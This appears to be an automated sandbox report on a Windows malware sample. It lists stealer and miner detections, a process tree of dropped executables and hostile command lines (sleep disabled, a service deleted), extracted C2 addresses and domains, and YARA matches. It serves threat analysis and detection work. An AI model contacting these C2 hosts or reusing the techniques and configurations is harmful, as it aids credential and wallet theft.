Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1509442
MD5:	269a751b0c6d68cc39b2267c1592dae2
SHA1:	2ead3153069297c67bb33c7a83e63d2721aa9f4d
SHA256:	319d1dc217b7e83a85dd62cb2c066156ba5579087f11c991a99089606979ca28
Tags:	NETexeMSIL
Infos:

Detection

LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Disable power options

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Clipboard Hijacker

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected Socks5Systemz

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Drops PE files to the document folder of the user

Drops large PE files

Found API chain indicative of sandbox detection

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs new ROOT certificates

LummaC encrypted strings found

Machine Learning detection for dropped file

Modifies power options to not sleep / hibernate

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses powercfg.exe to modify the power settings

Writes many files with high entropy

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Enables debug privileges

Enables security privileges

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 1704 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 269A751B0C6D68CC39B2267C1592DAE2)

RegAsm.exe (PID: 5500 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

2Su0FBbBo66AP291hju1uAp_.exe (PID: 2412 cmdline: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe MD5: D264213F54193475FFD0301F7D92639F)

conhost.exe (PID: 6780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 4476 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WWMeRq3HihRV9YRKtaMBDHoA.exe (PID: 600 cmdline: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe MD5: 68821531A37BA7822FD5D67019733B6B)

cmd.exe (PID: 1620 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

clamer.exe (PID: 7356 cmdline: clamer.exe -pfrhasdtr MD5: 4F18D47EA8490CFCF59C3EAF9C5DBF68)

Dzj5MNqCPIubP7Rrjm1D2Yt6.exe (PID: 3060 cmdline: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe MD5: B5887A19FE50BFA32B524AAAD0A453BC)

Dzj5MNqCPIubP7Rrjm1D2Yt6.exe (PID: 7692 cmdline: "C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe" MD5: B5887A19FE50BFA32B524AAAD0A453BC)

DUGO48VDeAcOvTvqkkCJ3EIG.exe (PID: 5076 cmdline: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe MD5: 0FFEE13FF36C1CD606D032450DEB5AC1)

cmd.exe (PID: 5164 cmdline: "C:\Windows\System32\cmd.exe" /c move Measuring Measuring.bat & Measuring.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nnoSckkth0srkZiZ3BOPqSkN.exe (PID: 3916 cmdline: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe MD5: 7F763112FF2D56B045084192E1FF9FF9)

conhost.exe (PID: 3068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 4284 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

D4wpDprTNebjzitxM8NmQjMu.exe (PID: 4124 cmdline: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe MD5: AC08E549A6385F3278706D1CAD08F5B4)

D4wpDprTNebjzitxM8NmQjMu.tmp (PID: 3716 cmdline: "C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp" /SL5="$20446,3185824,56832,C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe" MD5: BC100F8A5D64718A0A5DD7112D8DF78B)

batchaviconverter32.exe (PID: 7628 cmdline: "C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe" -i MD5: E758DD44C9B639C327EE3DD035D84E2D)

Kra4UjTOv3M2ogVWTG9TXvYP.exe (PID: 2200 cmdline: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe MD5: 0FEEBE85E6413561E738588CAD1076A3)

WerFault.exe (PID: 7252 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 880 MD5: C31336C1EFC2CCB44B4326EA793040F2)

T1kEdFsnxciHVYBeHqJvMP2Q.exe (PID: 2084 cmdline: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe MD5: 0BD8936501F04777F9C8684B417B6399)

McmVdxsIvLZmG47_ZImbEdvo.exe (PID: 1744 cmdline: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe MD5: E1001C8649AC77FAEB446D8FF91F50D2)

conhost.exe (PID: 2088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5684 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Vwagc2Gf16eP8XIbenmQEOda.exe (PID: 5716 cmdline: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe MD5: BBB65776463DD9EA77B58E098A461A56)

woZv82DGCV54SaaUFka2bYWX.exe (PID: 3412 cmdline: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe MD5: DBB43B8EFB997DE4CE00A09D935C0F5F)

conhost.exe (PID: 5468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3352 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 2848 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 1784 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Mk75cxC4KyOkgnwZzE1K_RlU.exe (PID: 4080 cmdline: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe MD5: B7E094CBC9D971FDE82441821F564D37)

GYi2x83ApCTB3_vjRj5FL48U.exe (PID: 1460 cmdline: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe MD5: 8251E639862C3EBF4DEB3A89FB0CF7C6)

conhost.exe (PID: 4084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5808 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 5356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

YPlv8euR9KnvHnqn8UAA5AHQ.exe (PID: 6876 cmdline: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe MD5: BDEFC54E5FE6F091F968A28AA63783BA)

cmd.exe (PID: 3408 cmdline: "C:\Windows\System32\cmd.exe" /k move Visitor Visitor.bat & Visitor.bat & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WT1f5JwoYdslX1xK50iSTvoU.exe (PID: 5980 cmdline: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe MD5: 079D166295BAFA2AB44902C8BF5FF2A5)

powercfg.exe (PID: 7408 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7416 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7428 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7444 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7464 cmdline: C:\Windows\system32\sc.exe delete "RRTELIGS" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 4140 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 2024 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2200 -ip 2200 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 7296 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php"}

Threatname: LummaC

{"C2 url": ["evoliutwoqm.shop", "condedqpwqm.shop", "caffegclasiqwp.shop", "traineiwnqo.shop", "millyscroqwp.shop", "locatedblsoqp.shop", "stagedchheiqwo.shop", "stamppreewntnq.shop", "awwardwiqi.shop"], "Build id": "E6UHNR--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199768374681", "https://t.me/edm0d"], "Botnet": "02240158bc7e003b8ad4e709916c367e"}

Threatname: Cryptbot

{"C2 list": ["tventyvd20sr.top", "analforeverlovyu.top", "@tventyvd20sr.top"]}

Threatname: RedLine

{"C2 url": "45.91.202.63:25415", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Message": "", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
file.exe	INDICATOR_EXE_Packed_DotNetReactor	Detects executables packed with unregistered version of .NET Reactor	ditekSHen	0x52dcfe:$s2: is protected by an unregistered version of .NET Reactor!" );</script>

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.2175074041.0000000003C0E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000038.00000002.3246257379.0000000002CE1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
0000000C.00000002.2542689715.00000000033E6000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000000E.00000002.3280362120.000000000142F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
0000001C.00000002.2726337776.0000000003167000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000C.00000002.2542689715.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000000B.00000000.2062981963.0000000000F22000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000010.00000002.2859433930.00000000013FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2168324378.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.2184185015.0000000003415000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000001F.00000002.2780079788.000000000146C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000020.00000002.2388378578.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2618075944.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.2169176803.0000000003885000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001F.00000002.2707484897.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001F.00000002.2707484897.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000C.00000002.2414785317.0000000002C96000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000001A.00000002.2955377262.0000000000439000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000038.00000002.3245803876.00000000026AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000000.00000000.1709111644.000000000057A000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: file.exe PID: 1704	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 2Su0FBbBo66AP291hju1uAp_.exe PID: 2412	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 2Su0FBbBo66AP291hju1uAp_.exe PID: 2412	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2Su0FBbBo66AP291hju1uAp_.exe PID: 2412	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: nnoSckkth0srkZiZ3BOPqSkN.exe PID: 3916	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: Vwagc2Gf16eP8XIbenmQEOda.exe PID: 5716	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: Vwagc2Gf16eP8XIbenmQEOda.exe PID: 5716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Vwagc2Gf16eP8XIbenmQEOda.exe PID: 5716	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Process Memory Space: woZv82DGCV54SaaUFka2bYWX.exe PID: 3412	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Mk75cxC4KyOkgnwZzE1K_RlU.exe PID: 4080	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
26.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
5.2.2Su0FBbBo66AP291hju1uAp_.exe.3a05570.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
5.2.2Su0FBbBo66AP291hju1uAp_.exe.3a05570.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
29.2.RegAsm.exe.400000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
29.2.RegAsm.exe.400000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
29.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x458ad:$s1: file:/// 0x45809:$s2: {11111-22222-10009-11112} 0x4583d:$s3: {11111-22222-50001-00000} 0x4276b:$s4: get_Module 0x3cf55:$s5: Reverse 0x3dc05:$s6: BlockCopy 0x3ced4:$s7: ReadByte 0x458bf:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
31.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
31.2.RegAsm.exe.400000.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
9.2.nnoSckkth0srkZiZ3BOPqSkN.exe.3415570.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.2c96000.1.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
28.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x458ad:$s1: file:/// 0x45809:$s2: {11111-22222-10009-11112} 0x4583d:$s3: {11111-22222-50001-00000} 0x4276b:$s4: get_Module 0x3cf55:$s5: Reverse 0x3dc05:$s6: BlockCopy 0x3ced4:$s7: ReadByte 0x458bf:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.31d0000.3.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x43aad:$s1: file:/// 0x43a09:$s2: {11111-22222-10009-11112} 0x43a3d:$s3: {11111-22222-50001-00000} 0x4096b:$s4: get_Module 0x3b155:$s5: Reverse 0x3be05:$s6: BlockCopy 0x3b0d4:$s7: ReadByte 0x43abf:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
9.2.nnoSckkth0srkZiZ3BOPqSkN.exe.3415570.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.31d0000.3.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.2c96000.1.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
13.2.McmVdxsIvLZmG47_ZImbEdvo.exe.3bd5570.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
31.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
31.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
11.0.Kra4UjTOv3M2ogVWTG9TXvYP.exe.f20000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
